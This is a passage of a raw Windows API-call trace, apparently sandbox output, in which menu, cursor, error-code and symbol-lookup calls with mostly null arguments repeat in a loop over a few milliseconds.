item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.974] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.974] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.974] GetLastError () returned 0x579 [0140.974] SetLastError (dwErrCode=0x579) [0140.974] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.974] SymCleanup (hProcess=0x0) returned 0 [0140.974] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.974] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.974] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.974] GetLastError () returned 0x579 [0140.974] SetLastError (dwErrCode=0x579) [0140.974] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.974] SymCleanup (hProcess=0x0) returned 0 [0140.974] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.974] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.974] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.974] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.974] GetLastError () returned 0x579 [0140.975] SetLastError (dwErrCode=0x579) [0140.975] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.975] SymCleanup (hProcess=0x0) returned 0 [0140.975] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.975] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.975] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.975] GetLastError () returned 0x579 [0140.975] SetLastError (dwErrCode=0x579) [0140.975] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.975] SymCleanup (hProcess=0x0) returned 0 [0140.975] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.975] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.975] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=83, param_4=343, param_5=0x0, param_6=0x0) returned 0 [0140.975] GetLastError () returned 0x579 [0140.975] SetLastError (dwErrCode=0x579) [0140.975] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.975] SymCleanup (hProcess=0x0) returned 0 [0140.975] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.975] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.975] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.975] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.975] GetLastError () returned 0x579 [0140.975] SetLastError (dwErrCode=0x579) [0140.975] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.976] SymCleanup (hProcess=0x0) returned 0 [0140.976] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.976] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.976] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.976] GetLastError () returned 0x579 [0140.976] SetLastError (dwErrCode=0x579) [0140.976] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.976] SymCleanup (hProcess=0x0) returned 0 [0140.976] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.976] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.976] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.976] GetLastError () returned 0x579 [0140.976] SetLastError (dwErrCode=0x579) [0140.976] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.976] SymCleanup (hProcess=0x0) returned 0 [0140.976] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.976] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.976] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.976] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.976] GetLastError () returned 0x579 [0140.976] SetLastError (dwErrCode=0x579) [0140.976] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.976] SymCleanup (hProcess=0x0) returned 0 [0140.976] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.977] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=48, param_4=857, param_5=0x0, param_6=0x0) returned 0 [0140.977] GetLastError () returned 0x579 [0140.977] SetLastError (dwErrCode=0x579) [0140.977] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.977] SymCleanup (hProcess=0x0) returned 0 [0140.977] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.977] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.977] GetLastError () returned 0x579 [0140.977] SetLastError (dwErrCode=0x579) [0140.977] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.977] SymCleanup (hProcess=0x0) returned 0 [0140.977] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.977] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.977] GetLastError () returned 0x579 [0140.977] SetLastError (dwErrCode=0x579) [0140.977] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.977] SymCleanup (hProcess=0x0) returned 0 [0140.977] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.978] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.978] GetLastError () returned 0x579 [0140.978] SetLastError (dwErrCode=0x579) [0140.978] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.978] SymCleanup (hProcess=0x0) returned 0 [0140.978] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.978] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.978] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.978] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.978] GetLastError () returned 0x579 [0140.978] SetLastError (dwErrCode=0x579) [0140.978] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.978] SymCleanup (hProcess=0x0) returned 0 [0140.978] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.978] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.978] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.978] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1099, param_4=729, param_5=0x0, param_6=0x0) returned 0 [0140.978] GetLastError () returned 0x579 [0140.978] SetLastError (dwErrCode=0x579) [0140.978] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.978] SymCleanup (hProcess=0x0) returned 0 [0140.978] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.978] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.978] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.978] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.979] GetLastError () returned 0x579 [0140.979] SetLastError (dwErrCode=0x579) [0140.979] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.979] SymCleanup (hProcess=0x0) returned 0 [0140.979] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.979] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.979] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.979] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.979] GetLastError () returned 0x579 [0140.979] SetLastError (dwErrCode=0x579) [0140.979] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.979] SymCleanup (hProcess=0x0) returned 0 [0140.979] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.979] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.979] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.979] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.979] GetLastError () returned 0x579 [0140.979] SetLastError (dwErrCode=0x579) [0140.979] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.979] SymCleanup (hProcess=0x0) returned 0 [0140.979] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.979] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.979] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.979] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.979] GetLastError () returned 0x579 [0140.980] SetLastError (dwErrCode=0x579) [0140.980] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.980] SymCleanup (hProcess=0x0) returned 0 [0140.980] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.980] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.980] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.980] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=445, param_4=812, param_5=0x0, param_6=0x0) returned 0 [0140.980] GetLastError () returned 0x579 [0140.980] SetLastError (dwErrCode=0x579) [0140.980] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.980] SymCleanup (hProcess=0x0) returned 0 [0140.980] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.980] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.980] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.980] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.980] GetLastError () returned 0x579 [0140.980] SetLastError (dwErrCode=0x579) [0140.980] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.980] SymCleanup (hProcess=0x0) returned 0 [0140.980] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.980] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.980] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.980] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.980] GetLastError () returned 0x579 [0140.980] SetLastError (dwErrCode=0x579) [0140.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.981] SymCleanup (hProcess=0x0) returned 0 [0140.981] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.981] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.981] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.981] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.981] GetLastError () returned 0x579 [0140.981] SetLastError (dwErrCode=0x579) [0140.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.981] SymCleanup (hProcess=0x0) returned 0 [0140.981] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.981] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.981] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.981] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.981] GetLastError () returned 0x579 [0140.981] SetLastError (dwErrCode=0x579) [0140.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.981] SymCleanup (hProcess=0x0) returned 0 [0140.981] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.981] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.981] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.981] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1380, param_4=164, param_5=0x0, param_6=0x0) returned 0 [0140.981] GetLastError () returned 0x579 [0140.981] SetLastError (dwErrCode=0x579) [0140.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.981] SymCleanup (hProcess=0x0) returned 0 [0140.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.982] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.982] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.982] GetLastError () returned 0x579 [0140.982] SetLastError (dwErrCode=0x579) [0140.982] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.982] SymCleanup (hProcess=0x0) returned 0 [0140.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.982] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.982] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.982] GetLastError () returned 0x579 [0140.982] SetLastError (dwErrCode=0x579) [0140.982] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.982] SymCleanup (hProcess=0x0) returned 0 [0140.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.982] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.982] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.982] GetLastError () returned 0x579 [0140.982] SetLastError (dwErrCode=0x579) [0140.982] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.982] SymCleanup (hProcess=0x0) returned 0 [0140.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.983] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.983] GetLastError () returned 0x579 [0140.983] SetLastError (dwErrCode=0x579) [0140.983] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.983] SymCleanup (hProcess=0x0) returned 0 [0140.983] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.983] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.983] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1164, param_4=864, param_5=0x0, param_6=0x0) returned 0 [0140.983] GetLastError () returned 0x579 [0140.983] SetLastError (dwErrCode=0x579) [0140.983] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.983] SymCleanup (hProcess=0x0) returned 0 [0140.983] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.983] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.983] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.983] GetLastError () returned 0x579 [0140.983] SetLastError (dwErrCode=0x579) [0140.983] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.983] SymCleanup (hProcess=0x0) returned 0 [0140.983] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.983] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.984] GetLastError () returned 0x579 [0140.984] SetLastError (dwErrCode=0x579) [0140.984] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.984] SymCleanup (hProcess=0x0) returned 0 [0140.984] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.984] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.984] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.984] GetLastError () returned 0x579 [0140.984] SetLastError (dwErrCode=0x579) [0140.984] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.984] SymCleanup (hProcess=0x0) returned 0 [0140.984] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.984] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.984] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.984] GetLastError () returned 0x579 [0140.984] SetLastError (dwErrCode=0x579) [0140.984] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.984] SymCleanup (hProcess=0x0) returned 0 [0140.984] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.984] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.984] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=415, param_4=876, param_5=0x0, param_6=0x0) returned 0 [0140.985] GetLastError () returned 0x579 [0140.985] SetLastError (dwErrCode=0x579) [0140.985] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.985] SymCleanup (hProcess=0x0) returned 0 [0140.986] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.986] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.986] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.986] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.986] GetLastError () returned 0x579 [0140.986] SetLastError (dwErrCode=0x579) [0140.987] SymFindFileInPath (in: hprocess=0x0, 